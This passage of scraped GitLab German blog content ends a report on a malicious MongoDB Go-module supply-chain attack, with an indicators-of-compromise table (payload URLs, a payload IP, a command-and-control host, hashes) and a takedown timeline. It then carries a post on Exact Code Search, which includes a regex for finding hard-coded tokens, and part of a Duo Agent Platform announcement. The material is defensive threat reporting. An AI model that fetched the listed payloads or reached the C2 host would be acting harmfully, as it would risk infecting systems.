erkennen.\n\n\n## Indicators of Compromise\n\n\n| IOC                                                                                             | Beschreibung                                                                     |\n\n| ----------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------------- |\n\n| `github.com/qiniiu/qmgo`                                                                        | Bösartiges Go-Modul                                                              |\n\n| `github.com/qiiniu/qmgo`                                                                        | Bösartiges Go-Modul                                                              |\n\n| `https://raw.githubusercontent.com/qiniiu/vue-element-admin/refs/heads/main/public/update.html` | Payload-Bereitstellungs-URL                                                      |\n\n| `https://raw.githubusercontent.com/qiiniu/vue-element-admin/refs/heads/main/public/update.html` | Payload-Bereitstellungs-URL                                                      |\n\n| `https://img.googlex.cloud/seed.php`                                                            | Payload-Bereitstellungs-URL                                                      |\n\n| `http://207.148.110.29:80/logon61.gif`                                                          | Payload-Bereitstellungs-URL                                                      |\n\n| `http://207.148.110.29:80/chainelli.mp3`                                                        | Payload-Bereitstellungs-URL                                                      |\n\n| `img.googlex.cloud`                                                                             | Payload-Bereitstellungs-Host                                                     |\n\n| `207.148.110.29`                                                                                | Payload-Bereitstellungs-Host                                                     |\n\n| `ellipal.spoolsv.cyou`                                                                          | Command & Control-Host                                                           |\n\n| `6ada952c592f286692c59028c5e0fc3fa589759f`                                                      | SHA-1-Prüfsumme der chainelli.mp3 Remote-Administrations-Malware                 |\n\n| `8ae533e2d1d89c871908cbcf5c7d89c433d09b2e7f7d4ade3aef46c55b66509c`                              | SHA-256-Prüfsumme der chainelli.mp3 Remote-Administrations-Malware               |\n\n| `/tmp/vod`                                                                                      | Temporärer Download-Speicherort der chainelli.mp3 Remote-Administrations-Malware |\n\n\n## Wie GitLab hilft, die Software-Supply-Chain zu sichern\n\n\nBösartige Abhängigkeiten wie der MongoDB Go-Modul-Angriff zeigen, warum die Sicherung der Software-Supply-Chain mehr als nur CVE-Überwachung erfordert. GitLabs DevSecOps-Plattform umfasst [Application Security Testing](https://docs.gitlab.com/user/application_security/secure_your_application/)-Scanner wie Software Composition Analysis im Entwicklungslebenszyklus, die Teams helfen, verwundbare oder bösartige Pakete zu erkennen, bevor sie die Produktion erreichen.\n\n\nGepaart mit Forschungsbemühungen wie dieser zielt GitLab darauf ab, Entwickler(inne)n zu ermöglichen, Anwendungen zu erstellen, die von Anfang an sicher sind, ohne die Entwicklungsgeschwindigkeit zu beeinträchtigen.\n\n\n## Zeitlinie\n\n\n* **2025-06-01T09:31:** GitLab meldet `github.com/qiniiu/qmgo` an Go Security\n\n* **2025-06-01T09:43:** GitLab meldet `github.com/qiniiu/qmgo` an GitHub\n\n* **2025-06-01T10:14:** GitLab meldet `ellipal.spoolsv.cyou` (`188.166.213.194`) an den IP-Block-Eigentümer\n\n* **2025-06-02T04:03:** Go Security entfernt `github.com/qiniiu/qmgo`\n\n* **2025-06-02T09:57:** Der IP-Block-Eigentümer sperrt `188.166.213.194`\n\n* **2025-06-03T09:15:** GitHub sperrt `github.com/qiniiu`\n\n* **2025-06-05T17:15:** GitLab meldet `github.com/qiiniu/qmgo` an Go Security\n\n* **2025-06-05T17:33:** GitLab meldet `github.com/qiiniu/qmgo` an GitHub\n\n* **2025-06-05T17:45:** Go Security entfernt `github.com/qiiniu/qmgo`\n\n* **2025-06-06T12:25:** GitHub sperrt `github.com/qiiniu`\n",[765,680],"2025-06-30",{"featured":92,"template":682,"slug":1310},"gitlab-catches-mongodb-go-module-supply-chain-attack","content:de-de:blog:gitlab-catches-mongodb-go-module-supply-chain-attack.yml","Gitlab Catches Mongodb Go Module Supply Chain Attack","de-de/blog/gitlab-catches-mongodb-go-module-supply-chain-attack.yml","de-de/blog/gitlab-catches-mongodb-go-module-supply-chain-attack",{"_path":1316,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":1317,"content":1320,"config":1327,"_id":1329,"_type":16,"title":1330,"_source":17,"_file":1331,"_stem":1332,"_extension":20},"/de-de/blog/exact-code-search-find-code-faster-across-repositories",{"noIndex":6,"title":1318,"description":1319,"ogTitle":1318,"ogDescription":1319},"Exact Code Search: Code blitzschnell in Repositories finden","So findet diese neue GitLab-Funktion exakte Treffer, nutzt Regex-Muster und zeigt kontextbezogene Ergebnisse in Terabyte-großen Codebasen an.",{"title":1321,"description":1319,"authors":1322,"heroImage":1113,"date":1324,"body":1325,"category":680,"tags":1326},"Exact Code Search: So findet man Code blitzschnell über mehrere Repositories hinweg",[1323],"Dmitry Gruzd","2025-06-25","**Kurz gesagt:** Was wäre, wenn du jede Codezeile in 48 TB an Repositories\nin Millisekunden finden könntest? GitLabs neue [Exact Code\nSearch](https://docs.gitlab.com/ee/user/search/exact_code_search.html) macht\ngenau das möglich – mit präzisen Treffern, leistungsstarker\nRegex-Unterstützung und kontextbezogenen mehrzeiligen Ergebnissen, die die\nArbeit mit großen Codebasen revolutionieren.\n\n\n## Warum traditionelle Code-Suche herausfordernd ist\n\n\nJeder, der mit Code arbeitet, kennt die Frustration bei der Suche über Repositories hinweg. Egal ob du als Entwickler(in) einen Fehler debuggst, als DevOps-Ingenieur(in) Konfigurationen untersuchst, als Sicherheitsanalyst(in) nach Schwachstellen suchst, als technische(r) Redakteur(in) Dokumentationen aktualisierst oder als Manager(in) Implementierungen überprüfst – du weißt genau, was du brauchst, aber herkömmliche Suchwerkzeuge lassen dich oft im Stich.\n\n\nDiese konventionellen Tools liefern Dutzende von False Positives, bieten nicht den nötigen Kontext zum Verständnis der Ergebnisse und werden mit wachsenden Codebasen immer langsamer. Das Ergebnis? Wertvolle Zeit wird mit der Suche nach der Nadel im Heuhaufen verschwendet, anstatt Software zu entwickeln, zu sichern oder zu verbessern.\n\n\nGitLabs Code-Suchfunktion basierte bisher auf Elasticsearch oder OpenSearch. Diese eignen sich zwar hervorragend für die Suche in Issues, Merge Requests, Kommentaren und anderen Daten mit natürlicher Sprache, wurden aber nicht speziell für Code entwickelt. Nach der [Evaluierung zahlreicher Optionen](https://gitlab.com/groups/gitlab-org/-/epics/7404) haben wir eine bessere Lösung entwickelt.\n\n\n## Wir stellen vor: Exact Code Search – drei bahnbrechende Funktionen\n\n\nMit GitLabs **[Exact Code Search](https://docs.gitlab.com/ee/user/search/exact_code_search.html)**, derzeit in der Beta-Phase und angetrieben von [Zoekt](https://github.com/sourcegraph/zoekt) (ausgesprochen \"sukt\", niederländisch für \"sucht\"). Zoekt ist eine Open-Source-Code-Suchmaschine, die ursprünglich von Google entwickelt und jetzt von Sourcegraph gepflegt wird – speziell konzipiert für schnelle, präzise Code-Suche im großen Maßstab. Wir haben sie mit GitLab-spezifischen Integrationen, Verbesserungen für Unternehmensmaßstäbe und nahtloser Integration des Berechtigungssystems erweitert.\n\n\nDiese Funktion revolutioniert, wie du Code findest und verstehst, mit drei Hauptfunktionen:\n\n\n**1. Exact Match-Modus: Null False Positives**\n\n\nIm **Exact Match-Modus** liefert die Suchmaschine nur Ergebnisse, die exakt deiner Suchanfrage entsprechen, und eliminiert False Positives. Diese Präzision ist unbezahlbar beim:\n\n\n* Suchen nach spezifischen Fehlermeldungen\n\n* Finden bestimmter Funktionssignaturen\n\n* Aufspüren von Instanzen spezifischer Variablennamen\n\n\n**2. Regular Expression-Modus: Leistungsstarkes Pattern Matching**\n\n\nFür komplexe Suchanforderungen ermöglicht der Regular Expression-Modus die Erstellung ausgefeilter Suchmuster:\n\n\n* Finde Funktionen, die bestimmten Namensmustern folgen\n\n* Lokalisiere Variablen mit bestimmten Einschränkungen\n\n* Identifiziere potenzielle Sicherheitslücken mittels Pattern Matching\n\n\n**3. Mehrzeilige Treffer: Code im Kontext sehen**\n\n\n![Exact Code Search](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750704179/ttjuilkt3v7gtyywnchx.png)\n\n\nStatt nur eine einzelne Zeile mit deinem Suchbegriff zu sehen, erhältst du den umgebenden Kontext, der für das Verständnis des Codes entscheidend ist. Das eliminiert die Notwendigkeit, für grundlegendes Verständnis in Dateien zu klicken, und beschleunigt deinen Workflow erheblich.\n\n\n## Von Funktionen zu Workflows: Anwendungsfälle und Auswirkungen aus der Praxis\n\n\nSchauen wir uns an, wie diese Funktionen zu echten Produktivitätssteigerungen in alltäglichen Entwicklungsszenarien führen:\n\n\n### Debugging: Von der Fehlermeldung zur Ursache in Sekunden\n\n\nVor Exact Code Search:\n\nEine Fehlermeldung kopieren, suchen, durch Dutzende von Teiltreffern in Kommentaren und Dokumentation waten, durch mehrere Dateien klicken und schließlich den tatsächlichen Code finden.\n\n\nMit Exact Code Search:\n\n\n1. Die exakte Fehlermeldung kopieren\n\n2. Sie in Exact Code Search im Exact Match-Modus einfügen\n\n3. Sofort die präzise Stelle finden, wo der Fehler ausgelöst wird, mit umgebendem Kontext\n\n\n**Auswirkung:** Reduziere die Debugging-Zeit von Minuten auf Sekunden und eliminiere die Frustration durch False Positives.\n\n\n### Code-Exploration: Unbekannte Codebasen schnell meistern\n\n\nVor Exact Code Search:\n\nDurch Verzeichnisse browsen, fundierte Vermutungen über Dateispeicherorte anstellen, Dutzende von Dateien öffnen und langsam eine mentale Karte der Codebasis aufbauen.\n\n\nMit Exact Code Search:\n\n\n* Nach Schlüsselmethoden oder -klassen im Exact Match-Modus suchen\n\n* Mehrzeilige Treffer überprüfen, um Implementierungsdetails zu verstehen\n\n* Den Regular Expression-Modus nutzen, um ähnliche Muster in der Codebasis zu finden\n\n\n**Auswirkung:** Baue eine mentale Karte der Code-Struktur in Minuten statt Stunden auf und beschleunige Onboarding und teamübergreifende Zusammenarbeit dramatisch.\n\n\n### Refactoring mit Zuversicht\n\n\nVor Exact Code Search:\n\nVersuchen, alle Instanzen einer Methode zu finden, einige Vorkommen übersehen und durch unvollständiges Refactoring Fehler einführen.\n\n\nMit Exact Code Search:\n\n\n* Den Exact Match-Modus nutzen, um alle Vorkommen von Methoden oder Variablen zu finden\n\n* Kontext überprüfen, um Verwendungsmuster zu verstehen\n\n* Dein Refactoring mit vollständigen Informationen über die Auswirkungen planen\n\n\n**Auswirkung:** Eliminiere die \"übersehene Instanz\"-Fehler, die Refactoring-Bemühungen oft plagen, verbessere die Code-Qualität und reduziere Nacharbeit.\n\n\n### Sicherheitsaudits: Verwundbare Muster finden\n\n\nSicherheitsteams können:\n\n\n* Regex-Muster erstellen, die bekanntem verwundbarem Code entsprechen\n\n* Über alle Repositories in einem Namespace suchen\n\n* Schnell potenzielle Sicherheitsprobleme mit Kontext identifizieren, der bei der Risikobewertung hilft\n\n\n**Auswirkung:** Verwandle Sicherheitsaudits von manuellen, fehleranfälligen Prozessen in systematische, umfassende Überprüfungen.\n\n\n### Repository-übergreifende Einblicke\n\n\nSuche über deinen gesamten Namespace oder deine Instanz, um:\n\n\n* Ähnliche Implementierungen in verschiedenen Projekten zu identifizieren\n\n* Möglichkeiten für gemeinsame Bibliotheken oder Standardisierung zu entdecken\n\n\n**Auswirkung:** Baue Silos zwischen Projekten ab und identifiziere Möglichkeiten für Code-Wiederverwendung und Standardisierung.\n\n\n## Die technische Grundlage: Wie Zoekt Geschwindigkeit und Präzision liefert\n\n\nBevor wir in unsere Skalierungserfolge eintauchen, lass uns erkunden, was Zoekt grundlegend von traditionellen Suchmaschinen unterscheidet – und warum es exakte Treffer so unglaublich schnell finden kann.\n\n\n### Positionale Trigramme: Das Geheimnis blitzschneller exakter Treffer\n\n\nZoekts Geschwindigkeit kommt von der Verwendung **positionaler Trigramme** – einer Technik, die jede Sequenz von drei Zeichen zusammen mit ihren exakten Positionen in Dateien indexiert. Dieser Ansatz löst einen der größten Schmerzpunkte, die Entwickler(innen) mit Elasticsearch-basierter Code-Suche hatten: False Positives.\n\n\nSo funktioniert es:\n\n\n**Traditionelle Volltextsuchmaschinen** wie Elasticsearch tokenisieren Code in Wörter und verlieren Positionsinformationen. Wenn du nach `getUserId()` suchst, könnten sie Ergebnisse liefern, die **user**, **get** und **Id** über eine Datei verteilt enthalten – was zu diesen frustrierenden False Positives für GitLab-Nutzer(innen) führt.\n\n\n**Zoekts positionale Trigramme** behalten exakte Zeichensequenzen und ihre Positionen bei. Wenn du nach `getUserId()` suchst, sucht Zoekt nach den exakten Trigrammen wie **get**, **etU**, **tUs**, **Use**, **ser**, **erI**, **rId**, **Id(**, **d()**, alle in der korrekten Reihenfolge und Position. Das stellt sicher, dass nur exakte Treffer zurückgegeben werden.\n\n\nDas Ergebnis? Suchanfragen, die zuvor Hunderte irrelevanter Ergebnisse lieferten, liefern jetzt nur noch die präzisen Treffer, nach denen du suchst. Das war [eine unserer meistgewünschten Funktionen](https://gitlab.com/gitlab-org/gitlab/-/issues/325234) aus gutem Grund – Entwickler(innen) verloren erhebliche Zeit beim Durchsuchen von False Positives.\n\n\n### Regular Expression-Performance im großen Maßstab\n\n\nZoekt glänzt bei exakten Treffern und ist für Regular Expression-Suchen optimiert. Die Engine nutzt ausgefeilte Algorithmen, um Regex-Muster wenn möglich in effiziente Trigramm-Abfragen umzuwandeln und behält die Geschwindigkeit selbst bei komplexen Mustern über Terabytes von Code bei.\n\n\n## Entwickelt für Unternehmensmaßstäbe\n\n\nExact Code Search ist leistungsstark und für massive Skalierung mit beeindruckender Performance gebaut. Das ist nicht nur eine neue UI-Funktion – sie wird von einer komplett neu konzipierten Backend-Architektur angetrieben.\n\n\n### Terabytes von Code mit Leichtigkeit bewältigen\n\n\nAllein auf GitLab.com indexiert und durchsucht unsere Exact Code Search-Infrastruktur über **48 TB** an Code-Daten bei gleichzeitig blitzschnellen Antwortzeiten. Diese Größenordnung repräsentiert Millionen von Repositories über Tausende von Namespaces, alle innerhalb von Millisekunden durchsuchbar. Um das in Perspektive zu setzen: Diese Größenordnung repräsentiert mehr Code als die gesamten Linux-Kernel-, Android- und Chromium-Projekte zusammen. Dennoch kann Exact Code Search eine spezifische Zeile in dieser massiven Codebasis in Millisekunden finden.\n\n\n### Selbstregistrierende Node-Architektur\n\n\nUnsere innovative Implementierung bietet:\n\n\n* **Automatische Node-Registrierung:** Zoekt-Nodes registrieren sich selbst bei GitLab\n\n* **Dynamische Shard-Zuweisung:** Das System weist Namespaces automatisch Nodes zu\n\n* **Gesundheitsüberwachung:** Nodes, die sich nicht melden, werden automatisch als offline markiert\n\n\nDiese selbstkonfigurierende Architektur vereinfacht die Skalierung dramatisch. Wenn mehr Kapazität benötigt wird, können Administratoren einfach weitere Nodes hinzufügen, ohne komplexe Neukonfiguration.\n\n\n### Verteiltes System mit intelligentem Load Balancing\n\n\nHinter den Kulissen arbeitet Exact Code Search als verteiltes System mit diesen Schlüsselkomponenten:\n\n\n* **Spezialisierte Such-Nodes:** Zweckgebundene Server, die Indexierung und Suche übernehmen\n\n* **Intelligentes Sharding:** Code wird basierend auf Namespaces über Nodes verteilt\n\n* **Automatisches Load Balancing:** Das System verteilt Arbeit intelligent basierend auf Kapazität\n\n* **Hohe Verfügbarkeit:** Mehrere Replikate gewährleisten kontinuierlichen Betrieb, selbst wenn Nodes ausfallen\n\n\n*Hinweis: Hohe Verfügbarkeit ist in die Architektur integriert, aber noch nicht vollständig aktiviert. Siehe [Issue 514736](https://gitlab.com/gitlab-org/gitlab/-/issues/514736) für Updates.*\n\n\n### Nahtlose Sicherheitsintegration\n\n\nExact Code Search integriert sich automatisch mit GitLabs Berechtigungssystem:\n\n\n* Suchergebnisse werden basierend auf den Zugriffsrechten des Nutzers gefiltert\n\n* Nur Code aus Projekten, auf die der Nutzer Zugriff hat, wird angezeigt\n\n* Sicherheit ist in die Kernarchitektur integriert, nicht nachträglich hinzugefügt\n\n\n### Optimierte Performance\n\n\n* **Effiziente Indexierung:** Große Repositories werden in Dutzenden von Sekunden indexiert\n\n* **Schnelle Query-Ausführung:** Die meisten Suchen liefern Ergebnisse mit Antwortzeiten unter einer Sekunde\n\n* **Streaming-Ergebnisse:** Die neue gRPC-basierte föderierte Suche streamt Ergebnisse, sobald sie gefunden werden\n\n* **Frühzeitiger Abbruch:** Sobald genügend Ergebnisse gesammelt wurden, pausiert das System die Suche\n\n\n## Von der Bibliothek zum verteilten System: Technische Herausforderungen, die wir gelöst haben\n\n\nWährend Zoekt die Kern-Suchtechnologie bereitstellte, war es ursprünglich als minimale Bibliothek zur Verwaltung von `.zoekt`-Indexdateien konzipiert – nicht als verteilte Datenbank oder Unternehmens-Service. Hier sind die wichtigsten technischen Herausforderungen, die wir überwunden haben, um es in GitLabs Maßstab zum Laufen zu bringen:\n\n\n### Herausforderung 1: Aufbau einer Orchestrierungsschicht\n\n\n**Das Problem:** Zoekt war für die Arbeit mit lokalen Indexdateien konzipiert, nicht für die Verteilung über mehrere Nodes, die viele gleichzeitige Nutzer bedienen.\n\n\n**Unsere Lösung:** Wir haben eine umfassende Orchestrierungsschicht aufgebaut, die:\n\n\n* Datenbankmodelle erstellt und verwaltet, um Nodes, Indizes, Repositories und Aufgaben zu verfolgen\n\n* Eine selbstregistrierende Node-Architektur implementiert (inspiriert von GitLab Runner)\n\n* Automatische Shard-Zuweisung und Load Balancing über Nodes hinweg handhabt\n\n* Bidirektionale API-Kommunikation zwischen GitLab Rails und Zoekt-Nodes bereitstellt\n\n\n### Herausforderung 2: Skalierung von Speicher und Indexierung\n\n\n**Das Problem:** Wie verwaltet man effizient Terabytes von Indexdaten über mehrere Nodes bei gleichzeitig schnellen Updates?\n\n\n**Unsere Lösung:** Wir implementierten:\n\n\n* Intelligentes Sharding: Namespaces werden basierend auf Kapazität und Last über Nodes verteilt\n\n* Unabhängige Replikation: Jeder Node indexiert unabhängig von [Gitaly](https://gitlab.com/gitlab-org/gitaly) (unserem Git-Speicherdienst), wodurch komplexe Synchronisation eliminiert wird\n\n* Watermark-Management: Ausgefeilte Speicherzuweisung, die verhindert, dass Nodes der Speicherplatz ausgeht\n\n* Einheitliche Binary-Architektur: Ein einzelnes `gitlab-zoekt`-Binary, das sowohl im Indexer- als auch im Webserver-Modus arbeiten kann\n\n\n### Herausforderung 3: Berechtigungsintegration\n\n\n**Das Problem:** Zoekt hatte kein Konzept von GitLabs komplexem Berechtigungssystem – Nutzer sollten nur Ergebnisse aus Projekten sehen, auf die sie Zugriff haben.\n\n\n**Unsere Lösung:** Wir haben native Berechtigungsfilterung direkt in den Suchablauf integriert:\n\n\n* Suchanfragen enthalten Nutzerberechtigungskontext\n\n* Ergebnisse werden gefiltert, um nur die anzuzeigen, auf die der Nutzer zugreifen kann, falls sich Berechtigungen ändern, bevor die Indexierung abgeschlossen ist\n\n\n### Herausforderung 4: Betriebliche Einfachheit\n\n\n**Das Problem:** Die Verwaltung eines verteilten Suchsystems sollte kein dediziertes Team erfordern.\n\n\n**Unsere Lösung:**\n\n\n* Auto-Scaling: Das Hinzufügen von Kapazität ist so einfach wie das Bereitstellen weiterer Nodes – sie registrieren sich automatisch und beginnen mit der Arbeit\n\n* Selbstheilung: Nodes, die sich nicht melden, werden automatisch als offline markiert und ihre Arbeit wird umverteilt\n\n* Zero-Configuration-Sharding: Das System bestimmt automatisch optimale Shard-Zuweisungen\n\n\n## Schrittweiser Rollout: Risikominimierung im großen Maßstab\n\n\nDer Rollout eines komplett neuen Such-Backends für Millionen von Nutzern erforderte sorgfältige Planung. So haben wir die Auswirkungen auf Kunden minimiert und gleichzeitig Zuverlässigkeit sichergestellt:\n\n\n### Phase 1: Kontrolliertes Testen (gitlab-org-Gruppe)\n\n\nWir begannen damit, Exact Code Search nur für die `gitlab-org`-Gruppe zu aktivieren – unsere eigenen internen Repositories. Das ermöglichte uns:\n\n\n* Das System mit echten Produktions-Workloads zu testen\n\n* Performance-Engpässe zu identifizieren und zu beheben\n\n* Den Bereitstellungsprozess zu optimieren\n\n* Aus den Workflows und dem Feedback echter Nutzer zu lernen\n\n\n### Phase 2: Performance-Validierung und -Optimierung\n\n\nVor der Erweiterung konzentrierten wir uns darauf sicherzustellen, dass das System GitLab.coms Maßstab bewältigen konnte:\n\n\n* Umfassendes Monitoring und Alerting implementiert\n\n* Speicherverwaltung mit echtem Produktionsdatenwachstum validiert\n\n\n### Phase 3: Schrittweise Kundenerweiterung\n\n\nWir erweiterten schrittweise auf Kunden, die daran interessiert waren, Exact Code Search zu testen:\n\n\n* Feedback zu Performance und Benutzererfahrung gesammelt\n\n* Die Such-UI basierend auf echten Nutzer-Workflows verfeinert\n\n* Indexierungs-Performance optimiert (große Repositories wie `gitlab-org/gitlab` indexieren jetzt in ~10 Sekunden)\n\n* Die Architektur basierend auf betrieblichen Erkenntnissen verfeinert\n\n* Indexierungs-Durchsatz massiv erhöht und Zustandsübergangs-Lebenszyklus verbessert\n\n\n### Phase 4: Breiter Rollout\n\n\nHeute haben über 99 % der Premium- und Ultimate-lizenzierten Gruppen auf GitLab.com Zugriff auf Exact Code Search. Nutzer können:\n\n\n* Zwischen Regex- und exaktem Suchmodus umschalten\n\n* Die Vorteile ohne Konfigurationsänderungen erleben\n\n* Bei Bedarf auf die vorherige Suche zurückgreifen (obwohl wenige dies wählen)\n\n\nDer schrittweise Rollout bedeutete, dass Nutzer keine Service-Unterbrechungen, Performance-Verschlechterungen oder Feature-Lücken während des Übergangs erlebten. Wir haben bereits positives Feedback von Nutzern erhalten, die bemerken, dass ihre Ergebnisse relevanter und schneller werden.\n\n\n> **Für technische Details:** Interessiert an der detaillierten Architektur und Implementierung? Schau dir unser umfassendes [Design-Dokument](https://handbook.gitlab.com/handbook/engineering/architecture/design-documents/code_search_with_zoekt/) für ausführliche technische Details an, wie wir dieses verteilte Suchsystem gebaut haben.\n\n\n## Erste Schritte mit Exact Code Search\n\n\nDer Einstieg in Exact Code Search ist einfach, da es bereits standardmäßig für Premium- und Ultimate-Gruppen auf GitLab.com aktiviert ist (über 99 % der berechtigten Gruppen haben derzeit Zugriff).\n\n\n### Schnellstart-Anleitung\n\n\n1. Navigiere zur erweiterten Suche in deinem GitLab-Projekt oder deiner Gruppe\n\n2. Gib deinen Suchbegriff im Code-Tab ein\n\n3. Wechsle zwischen Exact Match- und Regular Expression-Modus\n\n4. Nutze Filter, um deine Suche zu verfeinern\n\n\n### Grundlegende Such-Syntax\n\n\nEgal ob du den Exact Match- oder Regular Expression-Modus verwendest, du kannst deine Suche mit Modifikatoren verfeinern:\n\n\n| Abfrage-Beispiel | Was es bewirkt                                              |\n\n| ---------------- | ----------------------------------------------------------- |\n\n| `file:js`        | Sucht nur in Dateien, die \"js\" im Namen enthalten           |\n\n| `foo -bar`       | Findet \"foo\", schließt aber Ergebnisse mit \"bar\" aus        |\n\n| `lang:ruby`      | Sucht nur in Ruby-Dateien                                   |\n\n| `sym:process`    | Findet \"process\" in Symbolen (Methoden, Klassen, Variablen) |\n\n\n> **Profi-Tipp:** Für die effizientesten Suchen beginne spezifisch und erweitere dann bei Bedarf. Die Verwendung von `file:`- und `lang:`-Filtern erhöht die Relevanz dramatisch.\n\n\n### Erweiterte Suchtechniken\n\n\nStapele mehrere Filter für Präzision:\n\n\n```\n\nis_expected file:rb -file:spec\n\n```\n\n\nDas findet \"is_expected\" in Ruby-Dateien, die nicht \"spec\" im Namen haben.\n\n\nNutze reguläre Ausdrücke für leistungsstarke Muster:\n\n\n```\n\ntoken.*=.*[\\\"']\n\n```\n\n\n[Sieh dir diese Suche im GitLab Zoekt Repository an.](https://gitlab.com/search?search=token.*%3D.*%5B%5C%22'%5D&nav_source=navbar&project_id=46649240&group_id=9970&search_code=true&repository_ref=main&regex=true)\n\n\nDie Suche hilft, hartcodierte Passwörter zu finden, die, wenn nicht gefunden, ein Sicherheitsproblem darstellen können.\n\n\nFür detailliertere Syntax-Informationen, schau in die [Exact Code Search-Dokumentation](https://docs.gitlab.com/user/search/exact_code_search/#syntax).\n\n\n## Verfügbarkeit und Bereitstellung\n\n\n### Aktuelle Verfügbarkeit\n\n\nExact Code Search befindet sich derzeit in der Beta-Phase für GitLab.com-Nutzer mit Premium- und Ultimate-Lizenzen:\n\n\n* Verfügbar für über 99 % der lizenzierten Gruppen\n\n* Die Suche in der UI nutzt automatisch Zoekt, wenn verfügbar, Exact Code Search in der Such-API ist hinter einem Feature-Flag\n\n\n### Bereitstellungsoptionen für Self-Managed\n\n\nFür Self-Managed-Instanzen bieten wir mehrere Bereitstellungsmethoden:\n\n\n* Kubernetes/Helm: Unsere am besten unterstützte Methode, mit unserem [`gitlab-zoekt` Helm Chart](https://gitlab.com/gitlab-org/cloud-native/charts/gitlab-zoekt)\n\n* Andere Bereitstellungsoptionen: Wir arbeiten an der Vereinfachung der Bereitstellung für Omnibus und andere Installationsmethoden\n\n\nDie Systemanforderungen hängen von deiner Codebasis-Größe ab, aber die Architektur ist darauf ausgelegt, horizontal und/oder vertikal zu skalieren, wenn deine Anforderungen wachsen.\n\n\n## Was als Nächstes kommt\n\n\nWährend Exact Code Search bereits leistungsstark ist, verbessern wir sie kontinuierlich:\n\n\n* **Skalierungsoptimierungen** zur Unterstützung von Instanzen mit Hunderttausenden von Repositories\n\n* **Verbesserte Self-Managed-Bereitstellungsoptionen**, einschließlich vereinfachter Omnibus-Unterstützung\n\n* **Vollständige Hochverfügbarkeits-Unterstützung** mit automatischem Failover und Load Balancing\n\n\nBleib dran für Updates, während wir von Beta zu General Availability übergehen.\n\n\n## Transformiere deine Arbeitsweise mit Code\n\n\nGitLabs Exact Code Search repräsentiert ein grundlegendes Umdenken bei der Code-Entdeckung. Durch die Bereitstellung exakter Treffer, leistungsstarker Regex-Unterstützung und kontextbezogener Ergebnisse löst sie die frustrierendsten Aspekte der Code-Suche:\n\n\n* Keine Zeitverschwendung mehr mit irrelevanten Ergebnissen\n\n* Keine wichtigen Treffer mehr verpassen\n\n* Kein Durchklicken von Dateien mehr nur für grundlegendes Verständnis\n\n* Keine Performance-Probleme mehr bei wachsenden Codebasen\n\n\nDie Auswirkungen gehen über die individuelle Produktivität hinaus:\n\n\n* **Teams arbeiten besser zusammen** mit einfacher Code-Referenzierung\n\n* **Wissensaustausch beschleunigt sich**, wenn Muster auffindbar sind\n\n* **Onboarding wird schneller** mit schnellem Codebasis-Verständnis\n\n* **Sicherheit verbessert sich** mit effektivem Muster-Auditing\n\n* **Abbau technischer Schulden** wird machbarer\n\n\nExact Code Search ist nicht nur eine Funktion, es ist eine bessere Art, Code zu verstehen und damit zu arbeiten. Hör auf zu suchen und fang an zu finden.\n\n\n**Wir würden gerne von dir hören!** Teile deine Erfahrungen, Fragen oder Feedback zu Exact Code Search in unserem [Feedback-Issue](https://gitlab.com/gitlab-org/gitlab/-/issues/420920). Dein Input hilft uns, Verbesserungen und neue Funktionen zu priorisieren.\n\n\n> ### Bereit für smartere Code-Suche? Erfahre mehr in unserer [Dokumentation](https://docs.gitlab.com/ee/user/search/exact_code_search.html) oder probiere es jetzt aus, indem du eine Suche in deinen Premium- oder Ultimate-lizenzierten Namespaces oder Projekten durchführst. Noch kein GitLab-Nutzer? Teste [kostenlos GitLab Ultimate mit Duo](https://about.gitlab.com/free-trial/)!\n",[680,767,913],{"featured":6,"template":682,"slug":1328},"exact-code-search-find-code-faster-across-repositories","content:de-de:blog:exact-code-search-find-code-faster-across-repositories.yml","Exact Code Search Find Code Faster Across Repositories","de-de/blog/exact-code-search-find-code-faster-across-repositories.yml","de-de/blog/exact-code-search-find-code-faster-across-repositories",{"_path":1334,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":1335,"content":1338,"config":1346,"_id":1348,"_type":16,"title":1349,"_source":17,"_file":1350,"_stem":1351,"_extension":20},"/de-de/blog/gitlab-duo-agent-platform-what-is-next-for-intelligent-devsecops",{"noIndex":6,"title":1336,"description":1337,"ogTitle":1336,"ogDescription":1337},"GitLab Duo Agent Platform: 100+ KI-Agenten für DevSecOps","Delegiere an 100+ KI-Agenten gleichzeitig! GitLab Duo Agent Platform automatisiert Routine-Tasks, während du innovierst. Beta-Zugang jetzt verfügbar.",{"heroImage":1339,"title":1340,"description":1341,"authors":1342,"date":1343,"body":1344,"category":677,"tags":1345},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1750687578/esmflevxk5bf3eezjhwk.png","Die Zukunft ist da: GitLab Duo lässt dich mit 100+ KI-Agenten arbeiten","Die GitLab Duo Agent Platform ist eine DevSecOps-Orchestrierungsplattform für Menschen und KI-Agenten, die agentische KI für die Zusammenarbeit im SDLC nutzt.",[740],"2025-06-24","Ich freue mich, die nächste Weiterentwicklung von Duo Workflow vorstellen zu können: die GitLab Duo Agent Platform. Diese innovative Plattform erweitert die agentischen Fähigkeiten auf den gesamten Softwareentwicklungszyklus und ermöglicht es Teams, parallel mit mehreren KI-Agenten zu arbeiten. \n\nStell dir vor, du beginnst deinen Tag so: \n\n* Du weist einen KI-Agenten an, Recherchen zu einem Epic durchzuführen, an dem dein Team arbeitet, die neuesten Updates zu allen Beiträgen der letzten Woche bereitzustellen und einen Veröffentlichungsbeitrag basierend auf den neuesten Funktionserweiterungen vorzuschlagen.   \n* Gleichzeitig beauftragst du mehrere Agenten mit der Analyse einiger Fehler bei der Barrierefreiheit und der Durchführung der erforderlichen Codeänderungen, um diese zu beheben.   \n* In der Zwischenzeit bittest du einen weiteren Agenten, deine komplizierten Codeänderungen zu überprüfen und Feedback zu geben, bevor du sie zur formellen Überprüfung an ein Teammitglied sendest.   \n* Als dich schließlich das Sicherheitsteam über eine neue Sicherheitslücke informiert, die im gesamten Projekt untersucht werden muss, übergibst du diese Rechercheaufgabe an deinen Sicherheitsagenten.\n\nAll das passiert gleichzeitig, während du dich auf Architekturentscheidungen, kreative Problemlösungen und strategische technische Arbeit konzentrieren kannst. Mit der GitLab Duo Agent Platform kannst du Aufgaben an fünf, zehn oder sogar 100 spezialisierte Agenten delegieren. Jeder davon kennt den vollständigen Kontext deines Projekts, nicht nur deinen Code, einschließlich CI-Jobprotokolle, Planungsaufgaben und vieles mehr. Du automatisierst die mühsame Arbeit, die du erledigen musst, damit du dich auf die Arbeit konzentrieren 